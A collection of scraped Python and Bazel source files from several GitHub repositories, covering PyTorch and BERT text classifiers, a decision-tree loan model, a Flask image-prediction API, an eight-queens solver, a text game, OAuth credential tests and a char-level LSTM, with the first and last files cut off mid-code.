nn.ReLU()\n\n def forward(self, text, text_lengths, vidhya = False):\n \"\"\" Performs forward pass of input text through classification module.\n Args\n ----\n text (Tensor): Encoded input text.\n dim = [batch_size, sequence_length]\n text_lengths (Tensor or list(int)): pre-padding lengths of input\n sequences. dim = [batch_size]\n\n Returns\n -------\n output (Tensor): TODO: log probabilities.\n dim = [batch_size, num_classes]\n \"\"\"\n # embed numericalized input text\n embedded = self.embedding(text)\n # embedded dims: [batch_size, sequence_length, embedding_dim]\n\n # pack padded sequence\n # here's why: https://stackoverflow.com/questions/51030782/why-do-we-pack-the-sequences-in-pytorch\n packed_embedded = nn.utils.rnn.pack_padded_sequence(input = embedded,\n lengths = text_lengths.cpu(),\n batch_first = self.batch_first,\n enforce_sorted = False)\n\n\n # Do forward pass through lstm model\n # NB: output tuple (hidden, cell) is ignored\n packed_output, (hidden, cell) = self.lstm(packed_embedded)\n # hidden: [num_layers * num_directions, batch_size, hidden_dim]\n # NB: the layers can be separated using h_n.view(num_layers, num_directions, batch, hidden_size)\n # cell: [num_layers * num_directions, batch_size, hidden_dim]\n\n if self.num_directions == 1:\n # packed_output, (final_hidden, final_cell) = self.lstm(packed_embedded)\n # take last layer of final hidden state (i.e., shape [batch_size, hidden_dim])\n # pass through linear layer and activation\n output = self.fc(hidden[-1, :, :])\n # OR: THIS\n # unpacked_output = nn.utils.rnn.pad_packed_sequence(packed_output)\n # output = unpacked_output[0]\n # output = self.fc(output[-1, :, :])\n # out[-1, :, :] and hidden[-1, :, :] are supposed to be identical\n output = self.act(output)\n else:\n # Vidhya's method\n # concatenate the final forward and backward hidden states\n hidden = torch.cat((hidden[-2, :, :], hidden[-1, :, :]), dim = 1)\n # hidden dim: [batch_size, hidden_dim * num_directions]\n\n output = self.fc(hidden)\n output = self.dropout(output)\n output = self.act(output)\n\n # # inverse operation of pack_padded_sequence(). i.e., unpacks packed\n # # sequences, returns padded sequences and corresponding lengths\n # # Cheng's blog way\n # unpacked_output, _ = nn.utils.rnn.pad_packed_sequence(sequence = packed_output,\n # batch_first = True)\n # # forward direction\n # out_forward = unpacked_output[]\n\n return output\n\n\nclass TextClassificationLogit(nn.Module):\n \"\"\"\n Based on this tutorial: https://medium.com/biaslyai/pytorch-linear-and-logistic-regression-models-5c5f0da2cb9\n \"\"\"\n def __init__(self, num_classes):\n super(TextClassificationLogit, self).__init__()\n self.linear = nn.Linear(1, num_classes)\n\n def forward(self, x):\n out = self.linear(x)\n out = nn.functional.sigmoid(out)\n\n return out\n\nclass TextClassificationBERT(nn.Module):\n \"\"\"\n For inspiration: https://towardsdatascience.com/bert-text-classification-using-pytorch-723dfb8b6b5b\n Also check out this one by the same author about LSTM text classification: https://towardsdatascience.com/lstm-text-classification-using-pytorch-2c6c657f8fc0\n \"\"\"\n\n def __init__(self, num_classes):\n super(TextClassificationBERT, self).__init__()\n\n options_name = \"bert-base-uncased\"\n config = BertConfig.from_pretrained(options_name, output_attentions=True)\n config.num_labels = num_classes\n # config.max_position_embeddings = 1024\n self.encoder = BertForSequenceClassification.from_pretrained(options_name, config=config)\n\n def forward(self, text, label, bertviz=False, token_type_ids=None):\n\n if bertviz:\n # returns loss, text_features, attentions\n return self.encoder(text, labels=label, token_type_ids=token_type_ids)\n else:\n loss, text_fea = self.encoder(text, labels=label)[:2]\n return loss, text_fea\n\nclass FrozenBERT(nn.Module):\n \"\"\"\n Based on this tutorial: https://www.analyticsvidhya.com/blog/2020/07/transfer-learning-for-nlp-fine-tuning-bert-for-text-classification/\n \"\"\"\n\n def __init__(self, num_classes):\n super(FrozenBERT, self).__init__()\n\n # import BERT-base pretrained model\n self.bert = AutoModel.from_pretrained('bert-base-uncased')\n\n # dropout layer\n self.dropout = nn.Dropout(0.1)\n\n # relu activation function\n self.relu = nn.ReLU()\n\n # dense layer 1\n self.fc1 = nn.Linear(768, 512)\n\n # dense layer 2 (Output layer)\n self.fc2 = nn.Linear(512, num_classes)\n\n # softmax activation function\n self.softmax = nn.LogSoftmax(dim=1)\n\n # define the forward pass\n def forward(self, sent_id, mask):\n # pass the inputs to the model\n _, cls_hs = self.bert(sent_id, attention_mask=mask)\n\n x = self.fc1(cls_hs)\n\n x = self.relu(x)\n\n x = self.dropout(x)\n\n # output layer\n x = self.fc2(x)\n\n # apply softmax activation\n x = self.softmax(x)\n\n return x\n\nif __name__ == \"__main__\":\n\n set_trace()\n","repo_name":"lennertjansen/pplm-age-adapt-dialogue","sub_path":"classifiers.py","file_name":"classifiers.py","file_ext":"py","file_size_in_byte":8769,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"63"} +{"seq_id":"70911753800","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[53]:\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import tree\n\nfrom sklearn.metrics import classification_report,confusion_matrix,accuracy_score,roc_auc_score,roc_curve\n\n\n# In[23]:\n\n\nln=pd.read_csv(r\"E:\\data science\\GREAT LAKES\\back to studies\\videaos\\revision\\datamining\\week 2 cart\\Loan+Delinquent+Dataset.csv\")\n\n\n# In[24]:\n\n\nln.head()\n\n\n# In[25]:\n\n\nln.drop([\"ID\",\"delinquent\"],axis=1,inplace=True)\n\n\n# In[26]:\n\n\nln.head()\n\n\n# In[27]:\n\n\nln.info()\n\n\n# In[28]:\n\n\npd.crosstab(ln.Sdelinquent,ln.term,margins=True)\n\n\n# In[29]:\n\n\ng36=1-(np.square(3168/10589)+np.square(7421/10589))\ng60=1-(np.square(659/959)+np.square(300/959))\nprint(g36)\nprint(g60)\n\n\n# In[30]:\n\n\n(g36*(10589/11548))+(g60*(959/11548))\n\n\n# In[31]:\n\n\nln.Sdelinquent.value_counts()\n\n\n# In[32]:\n\n\n1-(np.square(7721/11548)+np.square(3827/11548))\n\n\n# In[33]:\n\n\nfor i in ln:\n ln[i]= pd.Categorical(ln[i]).codes\n\n\n# In[34]:\n\n\nln.head()\n\n\n# In[35]:\n\n\nx=ln.drop(\"Sdelinquent\",axis=1)\ny=ln[\"Sdelinquent\"]\n\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.2,random_state=42)\n\n\n# In[36]:\n\n\nx_train.shape\n\n\n# In[37]:\n\n\nx_test.shape\n\n\n# In[38]:\n\n\ny_train.shape\n\n\n# In[39]:\n\n\ny_test.shape\n\n\n# In[40]:\n\n\ndc=DecisionTreeClassifier()\ndc.fit(x_train,y_train)\n\n\n# In[47]:\n\n\npredict\n\n\n# In[48]:\n\n\npd.crosstab(y_test,predict)\n\n\n# In[54]:\n\n\nconfusion_matrix(y_test,predict)\n\n\n# In[55]:\n\n\nprint(classification_report(y_test,predict))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"krish0195/Datascience-chaper-1--CART","sub_path":"Loan-cart model.py","file_name":"Loan-cart model.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"18771970199","text":"def _img_conv_impl(ctx):\n objs = []\n for src in ctx.files.srcs:\n out = src.path.rsplit(\".\", 1)[0] + \".bin\"\n out = \"out/\" + out.split(\"/\", 1)[1]\n obj = ctx.actions.declare_file(out)\n args = ctx.actions.args()\n args.add(\"--src\")\n args.add(src)\n args.add(\"--out\")\n args.add(obj)\n ctx.actions.run(\n executable = ctx.executable.build_tool,\n outputs = [obj],\n inputs = [src],\n arguments = [args],\n mnemonic = \"ImgConv\",\n )\n objs.append(obj)\n return [DefaultInfo(files = depset(objs))]\n\nimg_conv = rule(\n _img_conv_impl,\n attrs = {\n \"srcs\": attr.label_list(\n allow_files = [\".json\"],\n doc = \"Source files to compile\",\n ),\n \"build_tool\": attr.label(\n executable=True,\n cfg=\"exec\",\n default=\"//img_conv:img_conv\",\n doc = \"Path to the tool to build\",\n ),\n },\n doc = \"Convert some images into binary\",\n)","repo_name":"numaru/bazel-gen","sub_path":"img_conv/img_conv.bzl","file_name":"img_conv.bzl","file_ext":"bzl","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"36021810404","text":"import time\n\nfrom flask import Flask, request, render_template\nfrom werkzeug.utils import secure_filename\n\nimport os\nfrom keras.preprocessing import image\nimport simplejson as json\n\nimport argparse\n\nimport numpy as np\nimport tensorflow as tf\n\nimport glob\n\nBASE_PROJECT_DIR = \"Images\"\nBASE_PREDICTIONS_DIR = \"predictions\"\n\n\n\n\napp = Flask(__name__)\n\n # sudo fuser -k 5000/tcp & python3 flaskai.py\n\n\ndef load_graph(model_file):\n graph = tf.Graph()\n graph_def = tf.GraphDef()\n\n with open(model_file, \"rb\") as f:\n graph_def.ParseFromString(f.read())\n with graph.as_default():\n tf.import_graph_def(graph_def)\n\n return graph\n\n\n\n\ndef read_tensor_from_image_file(file_name,\n input_height=299,\n input_width=299,\n input_mean=0,\n input_std=255):\n input_name = \"file_reader\"\n output_name = \"normalized\"\n file_reader = tf.read_file(file_name, input_name)\n if file_name.endswith(\".png\"):\n image_reader = tf.image.decode_png(\n file_reader, channels=3, name=\"png_reader\")\n elif file_name.endswith(\".gif\"):\n image_reader = tf.squeeze(\n tf.image.decode_gif(file_reader, name=\"gif_reader\"))\n elif file_name.endswith(\".bmp\"):\n image_reader = tf.image.decode_bmp(file_reader, name=\"bmp_reader\")\n else:\n image_reader = tf.image.decode_jpeg(\n file_reader, channels=3, name=\"jpeg_reader\")\n float_caster = tf.cast(image_reader, tf.float32)\n dims_expander = tf.expand_dims(float_caster, 0)\n resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])\n normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])\n sess = tf.compat.v1.Session()\n result = sess.run(normalized)\n\n return result\n\n\ndef load_labels(label_file):\n label = []\n proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()\n for l in proto_as_ascii_lines:\n label.append(l.rstrip())\n return label\n\n\n\n\nmodel_file = \\\n \"prediction_model/output_graph.pb\"\nlabel_file = \"prediction_model/output_labels.txt\"\ninput_height = 299\ninput_width = 299\ninput_mean = 0\ninput_std = 255\ninput_layer = \"Placeholder\"\noutput_layer = \"final_result\"\n\ngraph = load_graph(model_file)\n\ninput_name = \"import/\" + input_layer\noutput_name = \"import/\" + output_layer\ninput_operation = graph.get_operation_by_name(input_name)\noutput_operation = graph.get_operation_by_name(output_name)\nsess = tf.compat.v1.Session(graph=graph)\n\n@app.route('/')\ndef upload_files():\n return \"use api\"\n\n@app.route('/predictapi/projects/', methods=['GET', 'POST'])\ndef upload_file(projectname):\n projectpath = os.path.join(BASE_PROJECT_DIR, projectname)\n list_img_files = glob.glob(projectpath+'/*.jpg')+glob.glob(projectpath+'/*.png')+glob.glob(projectpath+'/*.jpeg')\n \n print(list_img_files)\n for file_name in list_img_files:\n \n \n # return file_name\n t = read_tensor_from_image_file(\n file_name,\n input_height=input_height,\n input_width=input_width,\n input_mean=input_mean,\n input_std=input_std)\n\n\n results = sess.run(output_operation.outputs[0], {\n input_operation.outputs[0]: t\n })\n results = np.squeeze(results)\n\n top_k = results.argsort()[-5:][::-1]\n labels = load_labels(label_file)\n jsondata = '{'\n for i in top_k:\n # print (labels[i], results[i])\n jsondata+='\"'+ str(labels[i])+ '\": \"'+str(results[i])+'\", '\n jsondata+= '}'\n try:\n os.makedirs(os.path.join(BASE_PREDICTIONS_DIR,projectname))\n except OSError:\n print(OSError)\n else:\n print(\"succesful\")\n file_name = file_name.replace(os.path.join(BASE_PROJECT_DIR, projectname)+'/','')\n print(file_name)\n with open(os.path.join(os.path.join(BASE_PREDICTIONS_DIR, projectname),file_name.split('.')[0])+\".txt\", \"w\") as text_file:\n text_file.write(jsondata)\n return \"hii\"\n\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=False, host='0.0.0.0', port='5000')\n\n","repo_name":"SushantGautam/SishirLabelme","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"7033832475","text":"def conflict(state, next_y):\n next_x = len(state)\n for i in range(len(state)):\n if abs(next_y - state[i]) in (0, next_x - i):\n return True\n else:\n return False\n\n\ndef queens(num=8, state=()):\n if len(state) == num - 1:\n for _y in range(num):\n if not conflict(state, _y):\n yield (_y,)\n else:\n for y in range(num):\n if not conflict(state, y):\n for answer in queens(num, state+(y,)):\n yield (y, ) + answer\n\n\nlist(queens(4))\n\n\n\n","repo_name":"chengmoney/python_base","sub_path":"八皇后问题(递归版本).py","file_name":"八皇后问题(递归版本).py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"949445143","text":"# imports multiple clases from the python library and some of our\r\n# own modules.\r\nfrom sys import exit\r\nfrom random import randint\r\nfrom map import Map\r\nfrom leaderboard import Leaderboard\r\nfrom scores import Score\r\nfrom game_engine import Engine\r\n\r\n# global variables to keep track of score, player, and leaderboard\r\n\r\nmoves = 0\r\nname = \"\"\r\nleaderboard = Leaderboard()\r\n\r\n# what happens when the game is over\r\n# takes in a boolean parameter\r\n# should update leaderboard, global variables, and print leaderboard\r\ndef game_over(won):\r\n\tglobal name\r\n\tglobal moves\r\n\tscore = Score(name, moves)\r\n\tif won:\r\n leaderboard.update(score)\r\n\tprint (\"\\nGame Over.\")\r\n\tname= \"\"\r\n\tmoves = 0\r\n\tleaderboard.print_board()\r\n\r\n# initializes/updates global variables and introduces the game.\r\n# starts the Map and the engine.\r\n# ends the game if needed.\r\ndef play_game():\r\n\twhile True:\r\n\t\tglobal name \r\n\t\tglobal moves \r\n\t\tprint (\"This game is a challenge! To quit enter :q at any time. Good luck!\") \r\n\t\tname = input(\"\\n Player name. > \") \r\n\t\tif (name == ':q'):\r\n\t\t\texit(1) \r\n\t\telse:\r\n\t\t\tprint (\"Choose your difficulty level: 1-3. 1 is easiest, 3 is hardest.:\")\r\n\t\t\tdiff = input(\"\\n Difficulty. > \")\r\n\t\t\ta_map = Map('central_corridor') # This calls the starting location.\r\n\t\t\ta_game = Engine(a_map, diff)\r\n\t\t\tmoves = a_game.play()\r\n\t\t\tgame_over(a_game.won())\r\n\r\nplay_game()\r\n\r\ndef test_game():\r\n test_playgame = game_over()\r\n test_playgame2 = play_game()\r\ntest_game()","repo_name":"emilybsimon/CAAP-CS","sub_path":"Lab2/game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"1389429684","text":"# 循环结构\n\n# 遍历字符串\nfor i in 'hello':\n print(i)\n\narr = [1, 2, 3, 4, 5, 6]\nfor i in arr:\n print(i)\n\n# range()用于产生一个[n, m)的整数序列\nprint('--------------------')\nfor i in range(3, 5):\n print(i)\n\n# 所以如果想要和Java中一样,通过下标来遍历数组,就需要用到range()和len()\nfor i in range(0, len(arr)):\n print('arr[', i, '] = ', arr[i])\n\n# 找100到999之间的水仙花数 154 ==> i % 10 = 4; i // 100 = 1\nfor i in range(100, 1000):\n if((i % 10) ** 3 + (i // 100) ** 3 + (i // 10 - i // 100 * 10) ** 3 == i):\n print(i, '为水仙花数')\n\n# python特有的while...else...结构\nnum = 12345678\nwhile num > 0:\n i = num % 10\n num //= 10\n print(i)\n\n# 求1~100的累加和\nans = 0\ncnt = 100\nwhile cnt > 0:\n ans += cnt\n cnt -= 1\nelse: # 当不满足循环条件的情况下执行下面的代码\n print('ans =', ans)\n\n# break和continue\ndef isPrime(n : int) -> bool:\n if(n <= 1):\n return False\n for i in range(2, n):\n if(n % i == 0):\n return False\n return True;\n\nfor i in range(1, 101):\n if(isPrime(i)):\n print(i, '是素数')\n\n# python独有的空语句pass,用于显示误操作的分支\n# 例如\nage = 17\nif age < 18:\n pass\nelse:\n print('你成年了!')","repo_name":"Saint-Diana/learn","sub_path":"15_cycle.py","file_name":"15_cycle.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"75216013001","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# Prefer Python 2 and fall back on Python 3.\n# pylint:disable=g-statement-before-imports,g-import-not-at-top\ntry:\n import __builtin__ as builtins\nexcept ImportError:\n import builtins\n# pylint:enable=g-statement-before-imports,g-import-not-at-top\n\nimport datetime\nimport sys\n\nfrom absl import flags\nfrom absl.testing import parameterized\nfrom pyfakefs import fake_filesystem\nfrom pyfakefs import mox3_stubout\n\nimport google_auth_httplib2\n\nimport mock\n\nfrom oauth2client import client as oauth2_client\nfrom oauth2client import tools\n\nfrom google.oauth2 import credentials\n\nfrom absl.testing import absltest\nfrom loaner.deployments.lib import auth\nfrom loaner.deployments.lib import common\n\nFLAGS = flags.FLAGS\n\n_FAKE_JSON_CONTENTS_ONE = '''{\"scopes\": [\"test_scope1\"]}'''\n_FAKE_JSON_CONTENTS_TWO = '''{\"scopes\": [\"test_scope2\"]}'''\n\n\nclass TestCredentials(object):\n \"\"\"A fake credentials object for testing.\"\"\"\n\n def __init__(self, scopes):\n self.scopes = scopes\n\n def __eq__(self, other):\n return self.__dict__ == other.__dict__\n\n def has_scopes(self, scopes):\n \"\"\"If the scopes requested were included on construction.\n\n Args:\n scopes: list|str|, the list of scopes required.\n\n Returns:\n True if the scopes provided were also provided during initialization.\n \"\"\"\n return set(scopes).issubset(set(self.scopes))\n\n\nclass AuthTest(parameterized.TestCase, absltest.TestCase):\n\n def setUp(self):\n super(AuthTest, self).setUp()\n self._test_project = 'test_project'\n self._test_client_id = 'test_client_id'\n self._test_client_secret = 'test_client_secret'\n self._test_config = common.ProjectConfig(\n 'test_key', self._test_project, self._test_client_id,\n self._test_client_secret, None, '/test/path.yaml')\n # Save the real modules for clean up.\n self.real_open = builtins.open\n # Create a fake file system and stub out builtin modules.\n self.fs = fake_filesystem.FakeFilesystem()\n self.os = fake_filesystem.FakeOsModule(self.fs)\n self.open = fake_filesystem.FakeFileOpen(self.fs)\n self.stubs = mox3_stubout.StubOutForTesting()\n self.stubs.SmartSet(builtins, 'open', self.open)\n self.stubs.SmartSet(auth, 'os', self.os)\n\n def tearDown(self):\n super(AuthTest, self).tearDown()\n self.stubs.UnsetAll()\n builtins.open = self.real_open\n\n @mock.patch.object(credentials, 'Credentials', autospec=True)\n def test_cloud_credentials_constructor(self, mock_creds):\n \"\"\"Test the creation of the CloudCredentials object.\"\"\"\n mock_creds.from_authorized_user_info.return_value = TestCredentials([\n 'test_scope1',\n ])\n self.fs.CreateFile(\n self._test_config.local_credentials_file_path,\n contents=_FAKE_JSON_CONTENTS_ONE)\n test_creds = auth.CloudCredentials(self._test_config, ['test_scope1'])\n self.assertEqual(self._test_config, test_creds._config)\n self.assertEqual(TestCredentials(['test_scope1']), test_creds._credentials)\n\n @parameterized.parameters(\n ('urn:ietf:wg:oauth:2.0:oob', False),\n ('http://localhost:8080/oauth2callback', True),\n )\n @mock.patch.object(oauth2_client, 'OAuth2WebServerFlow', autospec=True)\n @mock.patch.object(tools, 'run_flow')\n def test_cloud_credentials_constructor_no_local_file(\n self, expected_redirect_uri, run_web_server, mock_run_flow,\n mock_server_flow):\n \"\"\"Test the creation of the CloudCredentials object with no local creds.\"\"\"\n FLAGS.automatic_oauth = run_web_server\n mock_run_flow.return_value = oauth2_client.OAuth2Credentials(\n access_token='test_access_token',\n client_id=self._test_config.client_id,\n client_secret=self._test_config.client_secret,\n refresh_token='test_refresh_token',\n token_expiry=datetime.datetime(year=2018, month=1, day=1),\n token_uri='test_token_uri',\n user_agent=None,\n id_token='test_id_token',\n scopes=['test_scope1'])\n test_creds = auth.CloudCredentials(self._test_config, ['test_scope1'])\n self.assertEqual(self._test_config, test_creds._config)\n self.assertEqual('test_access_token', test_creds._credentials.token)\n self.assertEqual(\n 'test_refresh_token', test_creds._credentials.refresh_token)\n self.assertEqual('test_id_token', test_creds._credentials.id_token)\n self.assertEqual('test_token_uri', test_creds._credentials.token_uri)\n self.assertEqual(\n self._test_config.client_id, test_creds._credentials.client_id)\n self.assertEqual(\n self._test_config.client_secret, test_creds._credentials.client_secret)\n self.assertEqual(['test_scope1'], test_creds._credentials.scopes)\n mock_server_flow.assert_called_once_with(\n client_id=self._test_config.client_id,\n client_secret=self._test_config.client_secret,\n scope=['test_scope1'],\n redirect_uri=expected_redirect_uri)\n\n @mock.patch.object(\n tools, 'run_flow', side_effect=oauth2_client.FlowExchangeError)\n def test_cloud_credentials_constructor_invalid_creds(self, mock_run_flow):\n \"\"\"Test that an error is raised if credentials cannot be created.\"\"\"\n del mock_run_flow # Unused.\n with self.assertRaises(auth.InvalidCredentials):\n auth.CloudCredentials(self._test_config, ['test_scope1'])\n\n @mock.patch.object(google_auth_httplib2, 'AuthorizedHttp', autospec=True)\n @mock.patch.object(auth, 'build', autospec=True)\n @mock.patch.object(credentials, 'Credentials', autospec=True)\n def test_get_api_client(self, mock_creds, mock_build, mock_http_auth):\n \"\"\"Test getting a scoped api client.\"\"\"\n mock_creds.from_authorized_user_info.return_value = TestCredentials([\n 'test_scope1',\n ])\n self.fs.CreateFile(\n self._test_config.local_credentials_file_path,\n contents=_FAKE_JSON_CONTENTS_ONE)\n test_creds = auth.CloudCredentials(self._test_config, ['test_scope1'])\n with mock.patch.object(\n test_creds, '_request_new_credentials',\n return_value=TestCredentials([\n 'test_scope2', 'test_scope1'])) as mock_request:\n test_api_client = test_creds.get_api_client(\n 'test_service', 'test_version', ['test_scope2'])\n del test_api_client # Unused.\n mock_request.assert_called_once_with(['test_scope2', 'test_scope1'])\n mock_http_auth.assert_called_once_with(\n credentials=TestCredentials(['test_scope2', 'test_scope1']))\n mock_build.assert_called_once_with(\n serviceName='test_service', version='test_version',\n http=mock_http_auth.return_value)\n\n def test_remove_creds(self):\n \"\"\"Test whether or not to remove the local credentials.\"\"\"\n FLAGS.unparse_flags()\n self.assertFalse(auth._remove_creds())\n flags.FLAGS(sys.argv[:1] + ['--remove_creds'])\n FLAGS.mark_as_parsed()\n self.assertTrue(auth._remove_creds())\n\n def test_run_local_web_server_for_auth(self):\n \"\"\"Test whether or not to run the local web server for authentication.\"\"\"\n FLAGS.unparse_flags()\n self.assertFalse(auth._run_local_web_server_for_auth())\n flags.FLAGS(sys.argv[:1] + ['--automatic_oauth'])\n FLAGS.mark_as_parsed()\n self.assertTrue(auth._run_local_web_server_for_auth())\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google/loaner","sub_path":"loaner/deployments/lib/auth_test.py","file_name":"auth_test.py","file_ext":"py","file_size_in_byte":7307,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"63"} +{"seq_id":"16850226202","text":"\nimport numpy as np\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n###################################\n# Pytorch simple Seq-Seq (char-char) model\n# \n# \n# Model looks like\n# c_s(1) c_s(2) c_s(3) c_s(3) ....\n# | | | | \n# LSTM LSTM LSTM LSTM ....\n# | | | | ....\n# FNN FNN FNN FNN ....\n# | | | | \n# c_t(1) c_t(2) c_t(3) c_t(3) ....\n#\n###################################\n\n\n#Train and infer on GPU if possible\ntrain_on_gpu = torch.cuda.is_available()\n\nif(train_on_gpu):\n print('Training on GPU!')\nelse: \n print('No GPU available, training on CPU; consider making n_epochs very small.')\n\n\nclass AnnaKareninaTextData():\n\n def __init__(self):\n \n with open('data.txt', 'r') as f:\n self.text = f.read()\n self.chars = tuple(set(self.text ))\n self.int2char = dict(enumerate(self.chars))\n self.char2int = {ch: ii for ii, ch in self.int2char.items()}\n self.data = np.array([self.char2int[ch] for ch in self.text])\n\n def one_hot_encode(self, arr, n_labels):\n \n one_hot = np.zeros((arr.size, n_labels), dtype=np.float32)\n one_hot[np.arange(one_hot.shape[0]), arr.flatten()] = 1.\n one_hot = one_hot.reshape((*arr.shape, n_labels))\n return one_hot\n\n def get_batches(self, arr, batch_size, seq_length):\n\n batch_size_total = batch_size * seq_length\n n_batches = len(arr)//batch_size_total\n arr = arr[:n_batches * batch_size_total]\n arr = arr.reshape((batch_size, -1))\n\n for n in range(0, arr.shape[1], seq_length):\n x = arr[:, n:n+seq_length]\n y = np.zeros_like(x)\n try:\n y[:, :-1], y[:, -1] = x[:, 1:], arr[:, n+seq_length]\n except IndexError:\n y[:, :-1], y[:, -1] = x[:, 1:], arr[:, 0]\n yield x, y\n\n\nclass CharLevelRNN(nn.Module):\n \n def __init__(self, tokens, n_hidden=256, n_layers=2,\n drop_prob=0.5, lr=0.001):\n super().__init__()\n self.drop_prob = drop_prob\n self.n_layers = n_layers\n self.n_hidden = n_hidden\n self.lr = lr\n self.chars = tokens\n self.int2char = dict(enumerate(self.chars))\n self.char2int = {ch: ii for ii, ch in self.int2char.items()}\n \n self.lstm = nn.LSTM(len(tokens), n_hidden, n_layers, \n dropout=drop_prob, batch_first=True)\n self.dropout = nn.Dropout(drop_prob)\n self.fc = nn.Linear(n_hidden, len(tokens))\n \n \n def forward(self, x, hidden):\n \n r_output, hidden = self.lstm(x, hidden)\n out = self.dropout(r_output)\n # Stack up LSTM outputs using view\n out = out.contiguous().view(-1, self.n_hidden)\n out = self.fc(out)\n return out, hidden\n \n \n def init_hidden(self, batch_size):\n ''' Initializes hidden state '''\n # Create two new tensors with sizes n_layers x batch_size x n_hidden,\n # initialized to zero, for hidden state and cell state of LSTM\n weight = next(self.parameters()).data\n \n if (train_on_gpu):\n hidden = (weight.new(self.n_layers, batch_size, self.n_hidden).zero_().cuda(),\n weight.new(self.n_layers, batch_size, self.n_hidden).zero_().cuda())\n else:\n hidden = (weight.new(self.n_layers, batch_size, self.n_hidden).zero_(),\n weight.new(self.n_layers, batch_size, self.n_hidden).zero_())\n \n return hidden\n\n\ndef train(net, dataAPI, epochs=10, batch_size=10, seq_length=50, \n lr=0.001, clip=5, val_frac=0.1, print_every=10):\n\n net.train()\n opt = torch.optim.Adam(net.parameters(), lr=lr)\n criterion = nn.CrossEntropyLoss()\n \n # create training and validation data\n val_idx = int(len(dataAPI.data)*(1-val_frac))\n data, val_data = dataAPI.data[:val_idx], dataAPI.data[val_idx:]\n \n if(train_on_gpu):\n net.cuda()\n \n counter = 0\n n_chars = len(net.chars)\n for e in range(epochs):\n # initialize hidden state\n h = net.init_hidden(batch_size)\n \n for x, y in dataAPI.get_batches(data, batch_size, seq_length):\n counter += 1\n \n # One-hot encode our data and make them Torch tensors\n x = dataAPI.one_hot_encode(x, n_chars)\n inputs, targets = torch.from_numpy(x), torch.from_numpy(y)\n \n if(train_on_gpu):\n inputs, targets = inputs.cuda(), targets.cuda()\n\n # Creating new variables for the hidden state, otherwise\n # we'd backprop through the entire training history\n h = tuple([each.data for each in h])\n\n net.zero_grad()\n output, h = net(inputs, h)\n \n loss = criterion(output, targets.view(batch_size*seq_length).long())\n loss.backward()\n nn.utils.clip_grad_norm_(net.parameters(), clip)\n opt.step()\n \n if counter % print_every == 0:\n val_h = net.init_hidden(batch_size)\n val_losses = []\n net.eval()\n for x, y in dataAPI.get_batches(val_data, batch_size, seq_length):\n\n x = dataAPI.one_hot_encode(x, n_chars)\n x, y = torch.from_numpy(x), torch.from_numpy(y)\n \n # Creating new variables for the hidden state, otherwise\n # we'd backprop through the entire training history\n val_h = tuple([each.data for each in val_h])\n \n inputs, targets = x, y\n if(train_on_gpu):\n inputs, targets = inputs.cuda(), targets.cuda()\n\n output, val_h = net(inputs, val_h)\n val_loss = criterion(output, targets.view(batch_size*seq_length).long())\n \n val_losses.append(val_loss.item())\n \n net.train() \n \n print(\"Epoch: {}/{}...\".format(e+1, epochs),\n \"Step: {}...\".format(counter),\n \"Loss: {:.4f}...\".format(loss.item()),\n \"Val Loss: {:.4f}\".format(np.mean(val_losses)))\n\n\ndef predict(net, char, h=None, top_k=None):\n ''' Given a character, predict the next character.\n Returns the predicted character and the hidden state.\n '''\n x = np.array([[net.char2int[char]]])\n x = one_hot_encode(x, len(net.chars))\n inputs = torch.from_numpy(x)\n \n\n if(train_on_gpu):\n inputs = inputs.cuda()\n \n # detach hidden state from history\n h = tuple([each.data for each in h])\n out, h = net(inputs, h)\n\n # get the character probabilities\n p = F.softmax(out, dim=1).data\n if(train_on_gpu):\n p = p.cpu() # move to cpu\n \n # get top characters\n if top_k is None:\n top_ch = np.arange(len(net.chars))\n else:\n p, top_ch = p.topk(top_k)\n top_ch = top_ch.numpy().squeeze()\n \n # select the likely next character with some element of randomness\n p = p.numpy().squeeze()\n char = np.random.choice(top_ch, p=p/p.sum())\n \n return net.int2char[char], h\n\n\ndef sample(net, size, prime='The', top_k=None):\n \n if(train_on_gpu):\n net.cuda()\n else:\n net.cpu()\n \n net.eval() # eval mode\n \n # First off, run through the prime characters\n chars = [ch for ch in prime]\n h = net.init_hidden(1)\n for ch in prime:\n char, h = predict(net, ch, h, top_k=top_k)\n\n chars.append(char)\n \n # Now pass in the previous character and get a new one\n for ii in range(size):\n char, h = predict(net, chars[-1], h, top_k=top_k)\n chars.append(char)\n\n return ''.join(chars)\n\n\n\nif __name__ == '__main__':\n\n dataAPI = AnnaKareninaTextData() \n net = CharLevelRNN(dataAPI.chars, n_hidden=64, n_layers=1)\n print(net)\n\n train(net, dataAPI, epochs=1, batch_size=8, \n seq_length=32, lr=0.001, print_every=10)\n\n print(sample(net, 100, prime='Anna', 